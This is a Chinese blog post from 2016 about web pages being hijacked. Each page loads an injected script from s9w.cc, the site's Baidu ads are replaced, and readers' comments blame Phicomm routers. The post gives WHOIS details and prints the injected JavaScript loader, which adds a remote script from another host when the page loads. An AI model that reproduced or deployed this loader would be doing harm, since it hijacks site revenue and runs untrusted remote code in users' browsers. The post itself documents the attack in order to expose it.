0元购京东自营斐讯K2路由器返399元活动
置顶

浏览器访问时网页都被植入s9w.cc所有广告被替换

作者:     目录: 互联网新事物     发表: 2016年11月05日

通过浏览器访问网页时所有的页面都被插入<script src=”//j.s9w.cc/j/?t=fx&v=1&g=006b8efdd1d0&c=0087361f8fba&A=C” defer></script>,然后网页上对应的所有百度广告位都被替换成其他广告,这明显是一种恶意的篡改劫持行为。换了其他浏览器,最终结果都一样,显然这不是浏览器的问题,现在有个问题:是什么原因造成这一现象?

通过http://whois.chinaz.com/s9w.cc,查询s9w.cc Whois 信息, 显示如下:

Domain Name: S9W.CC
Domain ID: 110812089
WHOIS Server: grs-whois.hichina.com
Referral URL: http://www.net.cn
Updated Date: 2016-10-28T08:15:32Z
Creation Date: 2014-12-08T07:43:08Z
Registry Expiry Date: 2017-12-08T07:43:08Z
Sponsoring Registrar: HICHINA ZHICHENG TECHNOLOGY LTD.
Sponsoring Registrar IANA ID: 420
Domain Status: ok https://icann.org/epp#ok
Name Server: VIP1.ALIDNS.COM
Name Server: VIP2.ALIDNS.COM
DNSSEC: unsigned
>>> Last update of WHOIS database: 2016-11-05T13:10:32Z <<<

通过查询 http://ip.chinaz.com/s9w.cc,显示s9w域名物理地址是 北京互联通网络科技有限公司

这个链接代码如下:

;(function(){
var onready = (function() {
    var funcs = [];
    var ready = false;
    function handler(e) {
        if(ready) return;
        if(e.type === 'onreadystatechange' && document.readyState !== 'complete') {
            return;
        }
        for(var i=0; i<funcs.length; i++) {
            funcs[i].call(document);
        }
        ready = true;
        funcs = null;
    }
    if(document.addEventListener) {
        document.addEventListener('DOMContentLoaded', handler, false);
        document.addEventListener('readystatechange', handler, false);            //IE9+
        window.addEventListener('load', handler, false);
    }else if(document.attachEvent) {
        document.attachEvent('onreadystatechange', handler);
        window.attachEvent('onload', handler);
    }
    return function whenReady(fn) {
        if(ready) { fn.call(document); }
        else { funcs.push(fn); }
    }
})();

onready(function(){
var url = "http://j-cdn.sho9wbox.com/j/?jlib=master&v=1&t=fx&d=PC";
window.v6d061dfa0ddfd12160ad851976e4a26d = "fx";
window.v6d061dfa0ddfd12160ad851976e4a26a = "PC";
window.v6d061dfa0ddfd12160ad851976e4a26b = "006b8efdd1d0";
window.v6d061dfa0ddfd12160ad851976e4a26c = "0087361f8fba";
var sc = document.createElement('script');
sc.setAttribute("type","text/javascript");
sc.setAttribute("charset","utf-8");
sc.setAttribute("src", url);
var head = document.head || document.getElementsByTagName('head')[0];
head.appendChild(sc);
})})();

这种恶意劫持广告,是不是一种欺诈行为呢?
标签: .

2 个评论

  1. 王先生 says:

    你用的斐讯路由器

  2. 徐波 says:

    我用的斐讯,但是怎么解决呢?

王先生进行回复 取消回复

电子邮件地址不会被公开。 必填项已用*标注